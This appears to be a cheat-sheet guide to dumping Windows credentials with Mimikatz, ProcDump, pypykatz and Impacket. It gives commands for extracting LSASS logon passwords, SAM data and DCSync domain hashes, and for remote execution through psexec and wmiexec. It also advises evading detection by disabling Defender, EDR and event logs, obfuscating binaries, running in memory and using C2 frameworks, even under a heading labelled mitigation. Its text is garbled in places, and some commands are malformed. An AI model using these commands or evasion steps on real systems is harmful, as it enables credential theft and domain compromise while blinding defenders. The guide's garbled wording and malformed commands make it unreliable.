Mimikatz usage and Execution
MimiKatz is widely used post exploitation tool for extracting credentials from Windows system. Below is the structural guide on how to execute MimiKatz and its alternatives along with various commands used for credential extraction.
Getting started with MimiKatz.
Download and extract MimiKatz
You can download the MimiKatz tool from the following links.
To use MimiKatz, follow the following commands.
unzip mimikatz_trunk.zip -d mimiKatz
mv -v mimiKatz /opt/
cd /opt/mimiKatz
Run MimiKatz
To start MimiKatz:
mimiKatz
Two view available options:
mimiKatz --help
Local login commands.
Local login commands pre-requisites.
Before executing MimiKatz for local logging commands and share, the following prerequisites are met.
Administrator privileges
MimiKatz Requires elevated permission (administrator or SYSTEM user) to interact with the systems memory and extract credentials.
Without these privileges MimiKatz cannot access sensitive system areas like LSASS, Local Security Authority Subsystem service which stores passwords and token.
Debug privileges
Debug privileges are required to access LSASS memory and extract login credentials.
Grant debug privileges with the command.
mimikatz # privilege::debug
Without debug privileges, MimiKatz cannot perform memory reading or credential extraction actions.
Disable antivirus/EDR software (optional)
Antivirus or endpoint detection and response(EDR) software. (Example Windows Defender Crowd Strike Sentinel One) May detect and block MimiKatz
To bypass detection.
Disable all bypass antivirus/EDR tools temporarily (if authorized).
News obfuscated or custom built version of MimiKatz.
Ensure LSASS protection is disabled
Modern Windows version have protections to prevent unauthorized access to LSASS memory.
Credential Guard : Prevents MimiKatz from interacting with LSASS.
LSASS protection : Prevents reading of LSASS memory by non privileged processes. (Windows 10 v1809+).
**System architecture compatibility **
MimiKatz Is available with both 32 bit and 64 bit versions. Use the version that matches your system architecture.
Check the system architecture with the command.
systeminfo | findstr /C:"System Type"
Run from a trusted location
To Avoid detection as malicious, run MimiKatz from trusted directories like.
C:\Windows\System32
C:\Users\<user>\Documents
Less restricted locations can help MimiKatz avoid being flagged by security solutions.
Access to the LSASS process
MimiKatz Requires access to the LSASS process to extract login credentials.
For remote execution, I'm sure you have administrator access to the target machine to interact with the LSASS process.
Commands like
sekurlsa::logonpasswords
depend on accessing LSASS process.
**Network configuration (for remote execution) **
If running MimiKatz remotely, ensured network access to the packet machine.
Ensure you can remotely execute program using tools like
psexec
orWinRM
.Verify firewall rules. Allow remote execution commands to reach the target machine.
Reboot system (if required)
Some settings, such as debug privileges may require a system reboot for changes to tech reflect.
And shall you have a plan in place for restarting a system if needed?
Testing in a controlled environment
Before running MimiKatz in a production environment, test it in a lab environment to verify functionally and prevent potential issues. (Example system instability).
Credential extraction on the local machine.
Start Mimikatz from a specific location
mimikatz.exe
Grant Debug Passwords to interact with system memory
privilege::debug
Dump Logon Passwords from LSASS (Local Security Authority Subsystem Service):
sekurlsa::logonpasswords
Dump SAM (Security ACccount Manager) Data:
lsadump::sam
Patch LSA (Local Security Authority) memory:
lsadump::lsa /patch
Execute a Combined Command to extract passwords and save to a file.
./mimikatz.exe "privilege:debug" "sekurlsa::logonpasswords" exit
To save output to a file
./mimikatz.exe "privilege:debug" "sekurlsa::logonpasswords" exit >>> hash.txt
Using LSASS Memory Dumps (lsass.dmp)
if you cannot run Mimikatz directly due to security restrictions, you can dump LSASS memory and analyze it offline.
Steps to Dump LSASS Memory.
Download ProcDump from Microsoft Sysinternals. procdump
Dump LSASS Memory for 32-bit system.
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Dump LSASS Memory for 64-bit systems:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
Analyzing LSASS Dump with Mimikatz
Load the LSASS Dump into Mimikatz for offline analysis
sekurlsa::minidump lsass.dmp
Dump Full Logon Passwords from the Dump:
sekurlsa::logonPasswords full
Execute and Save the output to a file
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >> hash.txt
Install Libesedb for parsing ESE Databases
apt install libesedb-utils
Use Python Pypykatz for parsing LSASS Dump
pypykatz lsa minidump lsass.DMP
Online vs Offline Credential Dumping
Online Credential Dumping
Dump SAM Data:
lsadump::sam
Grant Debug Privileges:
privilege::debug
Get Current Token Info:
token::whoami
Elevate Current Token
token::elevate
Dump SAM Data Again:
lsadump::sam
Offline Credential Dumping
Dump SAM from a specific system
lsadump::sam /system:System /sam:Sam
Execute combined Privilege and token Commands
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords"
Detection and Mitigation
Mimikatz Is a powerful tool, but it is also highly detectable by modern security software. To minimize detection, consider the following.
Windows event logs Event IDS such as 4688 (process creation) and 4624 (successful logon) are logged.
EDR (Endpoint in detection and response) Tools like Microsoft Defender, ATP, Crowd Strike, and Sentinel One actively detect Mimikatz
LSASS Protection Credential Guard can prevent direct access to LSASS memory.
Mitigation strategies.
Obfuscate mimikatz : Use custom builds or obfuscate the Mimikatz binary to bypass detection
Run Mimikatz in Memory Use tools like Powershell, Cobalt Strike or Metasploit to execute Mimikatz in memory by passing disk best detection
Disable Defender/EDR. Disable security solutions like Windows Defender or EDR software temporarily if possible.
Alternatives to Mimikatz
Using Impacket for Remote Credential Dumping
Impacket Alternative tools that can achieve similar results to Mimikatz for credentials extractions.
Extract credentials from LSASS using inpacket's
secretdump.py
secretsdump.py -just-dc-ntlm DOMAIN/Administrator@TARGET_IP
Local credential dumping with
secretdump.py
secretsdump.py -sam TARGET_IP -u Administrator -p Password123
Execute Mimikatz remotely using impacket's
psexec.py
psexec.py DOMAIN/Administrator@TARGET_IP -c mimikatz.exe
Dumb LSASS memory for offline analysis.
procdump -accepteula -ma lsass.exe lsass.dmp
Then, transfer the dump file and parse it with Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
Dump Active Directory hashes using Impacket(
dcsync
)
wmiexec.py DOMAIN/Administrator@DC_IP "mimikatz.exe 'lsadump::dcsync /domain:DMOAIN.LOCAL /add /csv'"
Or Using secretsdump.py
secretsdump.py -just-dc DOMAIN/Administrator@DC_IP
Bypass detection.
Two bypass detection while using Mimikatz or impacket consider.
Using encrypted C2 channels tools like Cobalt Strike, Havoc and mythic Provide encrypted command and control channels to evade detection.
Obfuscate Binaries Use custom or Obfuscate versions of Mimikatz two hour detection.
Disable Windows Defender and event logs. Temporarily disable security tools and lock services before execution to evade detection.
Last updated